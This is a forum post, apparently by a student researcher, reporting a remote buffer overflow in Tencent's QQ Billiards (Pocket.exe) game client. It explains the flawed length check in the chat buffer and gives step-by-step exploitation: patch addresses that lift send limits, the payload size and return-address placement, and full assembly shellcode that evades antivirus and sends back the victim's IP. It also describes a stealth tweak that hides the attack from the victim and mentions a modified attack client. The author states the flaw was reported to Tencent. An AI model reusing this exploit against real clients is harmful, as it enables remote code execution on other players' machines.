============说明==============
1、漏洞是我读大二的时候(三年前)发现的,这篇文章是我读大三的时候写的,本来并没有打算发出来,不过最近打算找工作,所以就翻箱倒柜把它找出来了。
2、漏洞我已经报告过给腾讯,并且我大四找工作的时候也把这个漏洞的情况告诉过腾讯HR。
3、这篇文章是原创,也是首发在看雪这里,如果转载请注明出处。
4、我的简历在这里(http://bbs.pediy.com/showthread.php?t=108821),希望有意招我的公司能联系一下我,我的邮箱是yinXlms#126.com(#换成@),谢谢。
============================
《QQ桌球》的缓冲区溢出漏洞报告
yinX
2008年4月11日
yinX
2008年4月11日
综述
腾讯公司的网络游戏软件《QQ桌球》存在一个远程缓冲区溢出漏洞,可被攻击者利用,使其执行远程代码。
文件版本
文件名:Pocket.exe
版本号:0.10.102.23
发布时间:2005.01.17
漏洞成因
QQ游戏的架构是这样的:各种游戏的主程序文件并不直接与网络打交道,所有网络数据,包括聊天内容和游戏动作,都通过游戏大厅发送和接收。为了适应各种数据,游戏大厅开了一个大小为0x2800的Buf。在发送聊天内容的时候,游戏大厅会把数据的类型和大小(针对QQ桌球这一个游戏,聊天数据的大小总为0x37C)附在聊天数据的前面一同发送到对方的游戏大厅。Pocket.exe用于显示聊天内容的缓冲区大小只有0x37C,并且从Recv的Buf复制数据的时候只按接收到的数据前部指明的大小来拷贝。如果攻击者恶意地把指明的大小从0x37C改成一个更大的数,则会发生缓冲区溢出。
利用方法
只要直接给对方的游戏大厅发送为了经过精心构造的数据即可令对方溢出,为了简单起见,使用Pocket.exe的聊天功能作为攻击工具而不另外编写攻击程序。不过Pocket.exe对发送的聊天内容的大小作了限制,所以攻击前一定要先去除这些限制。
限制的地方有三处:0x40747C限制了发送的内容不能超过0x100字节;0x407487会把聊天内容前0xfa以外的数据截掉;0x407BBE指定了发送的数据的大小,即右上图中的“数据大小”字段。跟踪调试后发现,发送的数据的大小改成0x38C最为合适,其中最后四个字节为一返回地址。
ShellCode例子
下面是一段ShellCode的例子,功能是回显对方的IP。
代码:
;代码开始 ;本程序只针对Win XP SP2 .386 .model tiny,stdcall option casemap:none .code org 2f376h-1000h ;因为这段ShellCode要放在0x12f376的位置,但Masm编程序默认基址是0x400000 ;我在链接选项里加了/base:0x100000,现在org 2f376h就刚好是0x12f376h, ;至于org 2f376h-1000h,那个1000h是PE头的大小 VirtualProtect equ 7c801ad0h ShellBase equ 7c883320h ;从Pocket.exe里拿过来用的函数 LoadLibrary equ 4170a4ffh GetModuleHandle equ 417088ffh GetProcAddress equ 4170a8ffh SendTalk equ 41f50cffh ;变量相对于GetBase的偏移,其实这样的做法不好,因为复制到Kernel32的时候没有复制这一部分 SendIP equ 0ffh ;Len 20h OldProtect equ 0bfh ;Len 4 Ws2_32Base equ 0bbh ;Len 4 wVersionRequested equ 0b7h ;Len 2 WSAData equ -380h ;Len ? nam equ -280h ;Len 256 此处比较特别,它是放在ShellCode后面的 remoteHost equ 0afh ;Len ? 这个是指针,用的时候注意 start: db 0A9h dup (90h) ;GetBase-0FFh刚好是Dword对齐 CodeBeg: StaBase db 0EBh,0Ch,90h,5Bh,83h,0EBh,13h,8Bh,0C3h,83h,0C0h,14h,0FFh,0E0h,0E8h,0F0h,0FFh,0FFh,0FFh,90h ; After GetBase, Ebx = GetBase's Address add esp,-504h ;栈顶减是因为,要保证下面的API使用堆栈时不会把代码覆盖掉 mov eax,ebx add eax,-OldProtect push eax push 40h xor eax,eax mov al,83h shl eax,0ch push eax mov ax,7c80h shl eax,10h add ah,10h push eax mov eax,VirtualProtect call eax mov esi,ebx sub esi,-(offset CodeBeg2- offset StaBase) mov edi,ShellBase ;把代码复制到代码段,卡巴不会报。不过后来发现一种更好的过卡巴的方法,就是修改PEB里的栈顶和栈底数据。 xor ecx,ecx mov cx,offset CodeEnd-offset CodeBeg2 rep movsb sub esp,-504h ;恢复堆栈 mov eax,ShellBase jmp eax CodeBeg2: GetBase db 0EBh,0Ch,90h,5Bh,83h,0EBh,13h,8Bh,0C3h,83h,0C0h,14h,0FFh,0E0h,0E8h,0F0h,0FFh,0FFh,0FFh,90h mov eax,ebx ;把字符串后面的那个1变成0 sub eax,offset GetBase - offset TextStart mov edi,eax mov esi,edi sub esi,offset TextStart - offset TextEnd cld mov al,1 mov cx,0ffffh LbXor: repne scas byte ptr [edi] dec edi xor byte ptr [edi],1 inc edi cmp edi,esi jl LbXor ;******************************************************************** ;返回目标的IP,EDX放着Ws2_32的基址 mov eax,ebx sub eax,offset GetBase - offset Ws2_32 push eax mov eax,LoadLibrary shr eax,8h call dword ptr [eax] mov edx,ebx add edx,-Ws2_32Base ;把Ws2_32的地址保存起来 mov [edx],eax mov eax,ebx ;WSAStartup sub eax,WSAData push eax mov eax,ebx xor ecx,ecx mov cx,0cccch push ecx mov eax,ebx sub eax,offset GetBase - offset sWSAStartup push eax mov edx,ebx add edx,-Ws2_32Base push [edx] mov eax,GetProcAddress shr eax,8h call dword ptr [eax] call eax xor eax,eax ;gethostname mov al,0ffh push eax mov eax,ebx sub eax,nam push eax mov eax,ebx sub eax,offset GetBase - offset sgethostname push eax mov edx,ebx add edx,-Ws2_32Base push [edx] mov eax,GetProcAddress shr eax,8h call dword ptr [eax] call eax mov eax,ebx ;gethostbyname sub eax,nam push eax mov eax,ebx sub eax,offset GetBase - offset sgethostbyname push eax mov edx,ebx add edx,-Ws2_32Base push [edx] mov eax,GetProcAddress shr eax,8h call dword ptr [eax] call eax mov eax,[eax+0ch] FindIP: mov ecx,[eax] or ecx,ecx je NotFoundIP mov ecx,[ecx] cmp cl,0c0h je IP192 cmp cl,0a9h je IP192 jmp FoundIP IP192: xor ecx,ecx mov cl,4 add eax,ecx jmp FindIP FoundIP: mov ecx,[eax] mov ecx,[ecx] push ecx ;inet_ntoa mov eax,ebx sub eax,offset GetBase - offset sinet_ntoa push eax mov edx,ebx add edx,-Ws2_32Base push [edx] mov eax,GetProcAddress shr eax,8h call dword ptr [eax] call eax NotFoundIP: mov edx,ebx add edx,-SendIP mov esi,eax lea edi,[edx+0ch] xor ecx,ecx mov cl,10h rep movsb push 27h pop esi mov [edx],esi xor ecx,ecx dec ecx mov [edx+4],ecx ;sub esi,eax push 10h ;长度 pop eax mov [edx+8],eax push edx xor edx,edx mov dx,37ch push edx mov eax,41f50cffh shr eax,8 mov edx,dword ptr [eax] push edx mov eax,ebx sub eax,offset GetBase - offset GInterop push eax mov eax,GetModuleHandle shr eax,8h call dword ptr [eax] xor edx,edx mov dh,20h add eax,edx call eax mov eax,ebx ;WSACleanup sub eax,offset GetBase - offset sWSACleanup push eax mov edx,ebx add edx,-Ws2_32Base push [edx] mov eax,GetProcAddress shr eax,8h call dword ptr [eax] call eax mov eax,73d32047h jmp eax TextStart: GInterop db "GInterop.dll",1 Ws2_32 db "Ws2_32.dll",1 sWSAStartup db "WSAStartup",1 sgethostname db "gethostname",1 sgethostbyname db "gethostbyname",1 sinet_ntoa db "inet_ntoa",1 sWSACleanup db "WSACleanup",1 TextEnd: CodeEnd: End start ;代码结束
改进
如果按照上面的方法发送数据,所发送的数据是会在对方的聊天窗口中显示出来的,这会引起对方的注意。跟踪调试后发现“聊天数据”的数据类型为0x27(请参考上面的“发送的数据结构示意图”),而如果把数据类型修改成0x21,则既可实现功能而对方的窗口上也不会显示攻击数据。可实现更好的隐蔽性。把Pocket.exe的0x407B84处修改成21即可实现。
再者,有时也希望能正常地和对方聊天而不是攻击对方,所以希望Pocket.exe程序能在正常程序和攻击程序间切换。我用XOR操作实现了这个功能。
附件说明
“Pocket.exe”是经过修改的程序,点击其右下角的“道具”按钮即可实现正常程序与攻击程序之间的切换。默认状态是正常程序状态。
“显IP完整版.bin”是一段可以显示对方IP的ShellCode,用WinHex把它复制到攻击程序的聊天窗口并发送出去即可。
“Pocket_org.exe”是原版程序。
=====================================
2010.3.13
后补的简单分析:
游戏大厅的NetMod.dll模块:
代码:
.text:100045EA loc_100045EA: ; CODE XREF: sub_1000441C+1AEj .text:100045EA mov edi, 2800h ; 这个是Socket接收的数据长度 .text:100045EF lea eax, [ebp+buf] .text:100045F5 push edi ; size_t .text:100045F6 push 0 ; int .text:100045F8 push eax ; void * .text:100045F9 call memset .text:100045FE add esp, 0Ch .text:10004601 lea eax, [ebp+buf] .text:10004607 push 0 ; flags .text:10004609 push edi ; len .text:1000460A push eax ; buf .text:1000460B push esi ; s .text:1000460C call ds:recv .text:10004612 mov edi, eax .text:10004614 call ds:WSAGetLastError .text:1000461A mov ecx, [ebp+var_1C] .text:1000461D mov [ebp+var_8], eax .text:10004620 cmp dword ptr [ecx+8], 0 .text:10004624 jz short loc_10004643 .text:10004626 push dword ptr [ebp+in.S_un] ; in .text:10004629 call ebx ; inet_ntoa .text:1000462B push eax ; char .text:1000462C push offset aSocketthread_1 ; "socketthread connect ip %s notify exit!"... .text:10004631 push esi ; int .text:10004632 call sub_100047D4 .text:10004637 add esp, 0Ch .text:1000463A mov [ebp+var_4], 1 .text:10004641 jmp short loc_1000464F
QQ桌球的主程序:
代码:
00407429 . E8 46C20000 call <jmp.&MFC42.#CWnd::GetWindowTextA_3874> ; 在GetWindowTextA上下断点,在聊天输入框随便输入点东西,来到这里 0040742E . 8D4C24 10 lea ecx, dword ptr [esp+10] 00407432 . E8 97C20000 call <jmp.&MFC42.#CString::TrimRight_6283> 00407437 . 8B4C24 10 mov ecx, dword ptr [esp+10] 0040743B . 8B41 F8 mov eax, dword ptr [ecx-8] 0040743E . 85C0 test eax, eax 00407440 . 75 3A jnz short 0040747C 00407442 . 8BAD D4000000 mov ebp, dword ptr [ebp+D4] 00407448 . 85ED test ebp, ebp 0040744A . 0F84 58060000 je 00407AA8 00407450 . 8B4D 48 mov ecx, dword ptr [ebp+48] 00407453 . 85C9 test ecx, ecx 00407455 . 0F84 4D060000 je 00407AA8 0040745B . 8B11 mov edx, dword ptr [ecx] 0040745D . FF52 1C call dword ptr [edx+1C] 00407460 . 8B10 mov edx, dword ptr [eax] 00407462 . 68 B8EC4100 push 0041ECB8 00407467 . 8BC8 mov ecx, eax 00407469 . FF52 18 call dword ptr [edx+18] 0040746C . C78424 3C0700>mov dword ptr [esp+73C], -1 00407477 . E9 99070000 jmp 00407C15 0040747C > 3D 00010000 cmp eax, 100 ; 限制发送的内容不能超过0x100字节 00407481 . 7E 5F jle short 004074E2 00407483 . 8D4424 24 lea eax, dword ptr [esp+24] 00407487 . 68 FA000000 push 0FA ; 把聊天内容前0xfa以外的数据截掉 0040748C . 50 push eax 0040748D . 8D4C24 18 lea ecx, dword ptr [esp+18] 00407491 . E8 8AC10000 call <jmp.&MFC42.#CString::Left_4129> 00407496 . 68 2CF44100 push 0041F42C 0040749B . 8D4C24 24 lea ecx, dword ptr [esp+24] 0040749F . 50 push eax 004074A0 . 51 push ecx 004074A1 . C68424 480700>mov byte ptr [esp+748], 1 004074A9 . E8 D0C00000 call <jmp.&MFC42.#operator+_924> 004074AE . 50 push eax 004074AF . 8D4C24 14 lea ecx, dword ptr [esp+14] 004074B3 . C68424 400700>mov byte ptr [esp+740], 2 004074BB . E8 5AC10000 call <jmp.&MFC42.#CString::operator=_858> 004074C0 . 8D4C24 20 lea ecx, dword ptr [esp+20] 004074C4 . C68424 3C0700>mov byte ptr [esp+73C], 1 004074CC . E8 8DBF0000 call <jmp.&MFC42.#CString::~CString_800> 004074D1 . 8D4C24 24 lea ecx, dword ptr [esp+24] 004074D5 . C68424 3C0700>mov byte ptr [esp+73C], 0 004074DD . E8 7CBF0000 call <jmp.&MFC42.#CString::~CString_800> 004074E2 > 8D4C24 14 lea ecx, dword ptr [esp+14] 004074E6 . E8 85BF0000 call <jmp.&MFC42.#CString::CString_540> 004074EB . 8D5424 14 lea edx, dword ptr [esp+14] 004074EF . 8D8D 380B0000 lea ecx, dword ptr [ebp+B38] 004074F5 . 52 push edx 004074F6 . C68424 400700>mov byte ptr [esp+740], 3 004074FE . E8 71C10000 call <jmp.&MFC42.#CWnd::GetWindowTextA_3874> ; 获取消息发送对象,例如是“所有人” 00407503 . 8B4424 14 mov eax, dword ptr [esp+14] 00407507 . 8B48 F8 mov ecx, dword ptr [eax-8] 0040750A . 85C9 test ecx, ecx 0040750C . 0F84 A6050000 je 00407AB8 00407512 . 68 F0E34100 push 0041E3F0 ; /s2 = "所有人" 00407517 . 50 push eax ; |s1 00407518 . FF15 44764100 call dword ptr [<&MSVCRT._mbscmp>] ; \_mbscmp 0040751E . 83C4 08 add esp, 8 00407521 . 85C0 test eax, eax 00407523 . 0F84 8F050000 je 00407AB8 …………省略一段代码………… 00407AB8 > 8D4C24 18 lea ecx, dword ptr [esp+18] 00407ABC . E8 AFB90000 call <jmp.&MFC42.#CString::CString_540> 00407AC1 . A1 64F54100 mov eax, dword ptr [41F564] 00407AC6 . B9 44F54100 mov ecx, 0041F544 00407ACB . 50 push eax 00407ACC . C68424 400700>mov byte ptr [esp+740], 4 00407AD4 . E8 97660000 call 0040E170 00407AD9 . 85C0 test eax, eax 00407ADB . 74 16 je short 00407AF3 00407ADD . 83C0 0A add eax, 0A 00407AE0 . 8D4C24 18 lea ecx, dword ptr [esp+18] 00407AE4 . 50 push eax 00407AE5 . 68 B0EC4100 push 0041ECB0 ; ASCII "%s" 00407AEA . 51 push ecx 00407AEB . E8 74B90000 call <jmp.&MFC42.#CString::Format_2818> 00407AF0 . 83C4 0C add esp, 0C 00407AF3 > 8D5424 18 lea edx, dword ptr [esp+18] 00407AF7 . 68 40EC4100 push 0041EC40 ; ASCII "-->所有人:" 00407AFC . 8D4424 3C lea eax, dword ptr [esp+3C] 00407B00 . 52 push edx 00407B01 . 50 push eax 00407B02 . E8 77BA0000 call <jmp.&MFC42.#operator+_924> 00407B07 . 8D4C24 10 lea ecx, dword ptr [esp+10] 00407B0B . 8D5424 30 lea edx, dword ptr [esp+30] 00407B0F . 51 push ecx 00407B10 . B3 05 mov bl, 5 00407B12 . 50 push eax 00407B13 . 52 push edx 00407B14 . 889C24 480700>mov byte ptr [esp+748], bl 00407B1B . E8 90BB0000 call <jmp.&MFC42.#operator+_922> 00407B20 . 50 push eax 00407B21 . 8D4C24 1C lea ecx, dword ptr [esp+1C] 00407B25 . C68424 400700>mov byte ptr [esp+740], 6 00407B2D . E8 E8BA0000 call <jmp.&MFC42.#CString::operator=_858> 00407B32 . 8D4C24 30 lea ecx, dword ptr [esp+30] 00407B36 . 889C24 3C0700>mov byte ptr [esp+73C], bl 00407B3D . E8 1CB90000 call <jmp.&MFC42.#CString::~CString_800> 00407B42 . 8D4C24 38 lea ecx, dword ptr [esp+38] 00407B46 . C68424 3C0700>mov byte ptr [esp+73C], 4 00407B4E . E8 0BB90000 call <jmp.&MFC42.#CString::~CString_800> 00407B53 . 8D4C24 18 lea ecx, dword ptr [esp+18] 00407B57 . E8 72BB0000 call <jmp.&MFC42.#CString::TrimRight_6283> 00407B5C . 68 28F44100 push 0041F428 00407B61 . 8BCF mov ecx, edi 00407B63 . E8 20B90000 call <jmp.&MFC42.#CWnd::SetWindowTextA_6199> ; 这里是自己说的话显示到自己的窗口上 00407B68 . 8B5424 18 mov edx, dword ptr [esp+18] 00407B6C . B9 DF000000 mov ecx, 0DF 00407B71 . 33C0 xor eax, eax 00407B73 . 8D7C24 3C lea edi, dword ptr [esp+3C] 00407B77 . F3:AB rep stos dword ptr es:[edi] 00407B79 . 83CB FF or ebx, FFFFFFFF 00407B7C . 8BFA mov edi, edx 00407B7E . 8BCB mov ecx, ebx 00407B80 . C64424 3C 27 mov byte ptr [esp+3C], 27 00407B85 . 895C24 40 mov dword ptr [esp+40], ebx 00407B89 . 8D7424 48 lea esi, dword ptr [esp+48] 00407B8D . F2:AE repne scas byte ptr es:[edi] 00407B8F . F7D1 not ecx 00407B91 . 2BF9 sub edi, ecx 00407B93 . 897424 30 mov dword ptr [esp+30], esi 00407B97 . 8BC1 mov eax, ecx 00407B99 . 8BF7 mov esi, edi 00407B9B . 8B7C24 30 mov edi, dword ptr [esp+30] 00407B9F . C1E9 02 shr ecx, 2 00407BA2 . F3:A5 rep movs dword ptr es:[edi], dword ptr [esi] 00407BA4 . 8BC8 mov ecx, eax 00407BA6 . A1 0CF54100 mov eax, dword ptr [41F50C] 00407BAB . 83E1 03 and ecx, 3 00407BAE . F3:A4 rep movs byte ptr es:[edi], byte ptr [esi] 00407BB0 . 8B52 F8 mov edx, dword ptr [edx-8] 00407BB3 . 895424 44 mov dword ptr [esp+44], edx 00407BB7 . 8B08 mov ecx, dword ptr [eax] 00407BB9 . 8D5424 3C lea edx, dword ptr [esp+3C] 00407BBD . 52 push edx 00407BBE . 68 7C030000 push 37C 00407BC3 . 50 push eax 00407BC4 . FF51 0C call dword ptr [ecx+C] ; 这里准备要跟游戏大厅通讯
在00407BC4准备要发送的一段数据:
代码:
0012F3A0 27 00 00 00 FF FF FF FF 15 00 00 00 79 69 6E 58 '......yinX 0012F3B0 2D 2D 3E CB F9 D3 D0 C8 CB 3A 61 73 64 66 61 65 -->所有人:asdfae 0012F3C0 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f............... 0012F3D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 这一段的数据结构如下: DWORD DataType; //数据的类型,这里是0x27,表示聊天数据。如果是台球的击球动作等则会是其它的值 DWORD Unknown; //这里没用到,我不知道是干嘛的 DWORD DataLen; //具体的数据的长度 DWORD[0x370] Data; //数据,这里是聊天内容